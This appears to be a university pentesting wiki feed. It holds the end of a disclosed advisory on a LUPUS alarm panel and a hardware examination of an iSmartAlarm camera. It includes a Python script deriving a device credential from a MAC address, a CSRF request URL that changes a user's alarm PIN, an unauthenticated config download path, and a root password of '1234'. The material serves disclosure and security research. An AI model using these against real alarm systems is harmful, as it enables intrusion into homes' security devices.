import hashlib&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
mac = &amp;quot;001122aabbcc&amp;quot; # MAC address without colons in all lowercase&lt;br /&gt;
x = &amp;quot;7jBhPZVbCJMrS9qg6KtxzHR5T2dk3NmvQ4WDywFsYpXnc8Gf&amp;quot;&lt;br /&gt;
y = &amp;quot;5156&amp;quot; + mac + &amp;quot;2759&amp;quot;&lt;br /&gt;
digest = hashlib.sha256()&lt;br /&gt;
digest.update(y)&lt;br /&gt;
z = digest.digest()&lt;br /&gt;
sys.stdout.write(x[ord(z[5]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[7]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[28]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[6]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[24]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[15]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[13]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[16]) % len(x)])&lt;br /&gt;
&lt;br /&gt;
sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3) Configuration including passwords downloadable without authentication&lt;br /&gt;
If the configuration of the device has been exported since the&lt;br /&gt;
previous reboot, it can be downloaded without authentication via&lt;br /&gt;
https://alarm/temp/config.tar.gz. The configuration contains PINs,&lt;br /&gt;
user passwords, and all other configuration settings. Passwords and&lt;br /&gt;
PINs are &amp;quot;encrypted&amp;quot; using a simple substitution cipher.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4) XML API vulnerable to CSRF&lt;br /&gt;
The XML API accepts requests via both GET and POST, and does not&lt;br /&gt;
require CSRF tokens. E.g. the following request sets the PIN of user 5&lt;br /&gt;
to 4444. The MAC address is publicly disclosed via the web interface&lt;br /&gt;
per issue #2.&lt;br /&gt;
&lt;br /&gt;
https://alarm/action/xmlCmd?strXML=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0A%3Cp%3E%0A++%3Cmac+v%3D%2200%3A11%3A22%3A33%3A44%3A44%22%2F%3E%0A++%3Ccmds%3E%0A%3Ccmd+a%3D%22setUser%22%3E%0A%3Carea+v%3D%221%22%2F%3E%0A%3Cno+v%3D%225%22%2F%3E%0A%3Ccode+v%3D%224444%22%2F%3E%0A%3Cname+v%3D%22test%22%2F%3E%0A%3Clatch+v%3D%220%22%2F%3E%0A%3C%2Fcmd%3E%0A++%3C%2Fcmds%3E%0A%3C%2Fp%3E&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vendor contact timeline:&lt;br /&gt;
------------------------&lt;br /&gt;
2019-01-09: Contacted the vendor&lt;br /&gt;
2019-01-09: Vendor reply saying that the issues are known and should be fixed&lt;br /&gt;
            in the new firmware release.&lt;br /&gt;
2019-03-26: Vendor reply saying the new firmware was released&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Solution:&lt;br /&gt;
---------&lt;br /&gt;
Per the vendor’s recommendation, update the firmware to version v0.0.3.0.&lt;br /&gt;
&lt;br /&gt;
Note that I didn’t verify whether the issues are indeed resolved in&lt;br /&gt;
the new version. Either way it’s probably a good idea to only expose&lt;br /&gt;
the device through a VPN.&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
* [[LUPUS - XT2 Plus Main Panel]]&lt;br /&gt;
* [[LUPUSEC - Outdoor siren V2]]&lt;br /&gt;
* [[LUPUSEC - Remote Control]]&lt;br /&gt;
* [[LUPUSEC - Door Contact V1 (EOL)]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
* https://www.lupus-electronics.de/ (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/en/smart-home/ (Accessed 27. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT1-Plus-Starter-Kit-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT3-Main-Panel-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Sirens/LUPUSEC-Outdoor-siren-V2-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Classic-XT1-Sensoren/LUPUSEC-Remote-control-p.html (Accessed 1. March 2020)&lt;br /&gt;
* https://seclists.org/bugtraq/2019/Apr/7 (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.lupus-electronics.de/en/service/eol-product-downloads/ (Accessed 25. Febuary 2020)&lt;br /&gt;
* https://www.av-test.org/en/ (Accessed 27. Febuary 2020)&lt;br /&gt;
* http://www.climax.com.tw/ (Accessed 29. Febuary 2020)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_iSmartAlarm_devices&amp;diff=14611</id>
		<title>Examination of iSmartAlarm devices</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_iSmartAlarm_devices&amp;diff=14611"/>
		<updated>2024-03-12T17:27:00Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The analysis of this device was discontinued due to the fact that it cannot be functionally tested. The iSmartAlarm (v2.1.6) app crashes and previous versions do not allow the device to be properly set up. From my point of view the service offered by iSmartAlarm is garbage and I can&#039;t understand any of the awards or praise they claim to hold. However, the vendor specific code (iSC5) and endpoint could be analyzed further.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;iSmart Alarm, Inc. was founded in Silicon Valley in 2012 on the principles of safety, beauty, and intelligence. They claim to be pioneers and leaders in the best smartphone-enabled home security and home control system industry, with rave reviews from CNET, Digital Trends, PC Mag, and others&amp;lt;sup&amp;gt;[https://www.ismartalarm.com/why-ismartalarm#awards_and_reviews]&amp;lt;/sup&amp;gt;. The sleek, easy-to-use system utilizes a smartphone and tablet app to put home security and home control in the palm of its users&#039; hands. &lt;br /&gt;
&lt;br /&gt;
iSmartAlarm products have won international awards including the CEA Mark of Excellence, Red Dot Product Design Award, and PC Mag&#039;s Editor&#039;s Choice Awards. The iSmartAlarm Home Security System was featured in Coldwell Banker&#039;s &amp;quot;25 Smart Home Technologies that Matter Most to Home Buyers&amp;quot; and has been named CNET&#039;s Best DIY Home Security System for 3 straight years. iSmartAlarm products are sold nationally and internationally in Best Buy, Amazon, Staples, Fry&#039;s, and many more locations.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.ismartalarm.com/info/AboutUs iSmartAlarm Profile]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;iSC5: Spot - Smart Home Security Camera&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Spot includes features and options of a smart home camera in an amazing package — Night vision, HD resolution streaming video, motion detection, audio detection, zoom, local video storage (up to 32 GB MicroSD) AND free cloud video storage, and 2-way audio.&lt;br /&gt;
&lt;br /&gt;
Spot introduces some innovative NEW features as well — Sound Recognition (with the ability to identify and notify you of carbon monoxide and smoke alarm sirens in your home), Time Lapse custom videos, and a simple voice-guided setup in less than 3 minutes. With the magnetic base plate for wall mounting and twistable, turnable, expandable legs, Spot can capture any angle.&lt;br /&gt;
&lt;br /&gt;
The compact design, amazing feature list, simple and flexible mounting options, and unique personality make Spot the perfect fit for every home&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.ismartalarm.com/spot Product]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Summary&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; width: calc(100% - 12px);; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Collected Information&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Device Model&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;iSC5&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Manufacturer&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;iSmartAlarm&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Product Type&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Smart Home Security Camera&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Easy to use, packed with features, and affordable&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Price on Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;74,90€&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2017 Q1 (Ongoing as of October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;State of Research&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Android APK is not working&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;micro USB 2.0, Type-A USB 2.0, micro SD&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Buttons&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Setup (1s) / Factory Reset (10s)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;LED&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Power/Status&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Power&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;5V/1A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 802.11b/g/n&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Camera (720P), Night Vision, 2-Way Audio&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;FCC-ID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SENISC5&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;System&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SONiX SN98600 Development Platform&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Processor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;ARM926EJ-S (ARMv5TEJ)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BogoMIPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;179.40&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Memory&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;RAM: 64MB&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Storage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Boot from: SPI Flash MX25L12835F&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ethernet MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;00:4D:32:09:B7:2E&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 00:4D:32:09:B7:2E&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN SSID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN PSK&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Default IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;WLAN: 192.168.1.68&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hostname&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;iSmartAlarm&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;NET Protocols&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;telnet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Interfaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;wlan0&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;10002, 22306, 22345&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webpage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webaccess&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Root Password&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;1234&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other Login Pw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;default:[no password]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Firmware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;wl0: v.6.10.198.52_r33 (r1961) FWID 01-32bd010c es4.c3.n4.a2 (2015)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hardware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;iSC5-MCUP01 V2.2 (iSC5-B01), iSC5-SENP01 V1.1 (iSC5-B02), iSC5-LEDP01 V3.0 (iSC5-B03)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Baudrate&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;115200 (8N1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootdelay&amp;lt;/td&amp;gt;&lt;br /&gt;
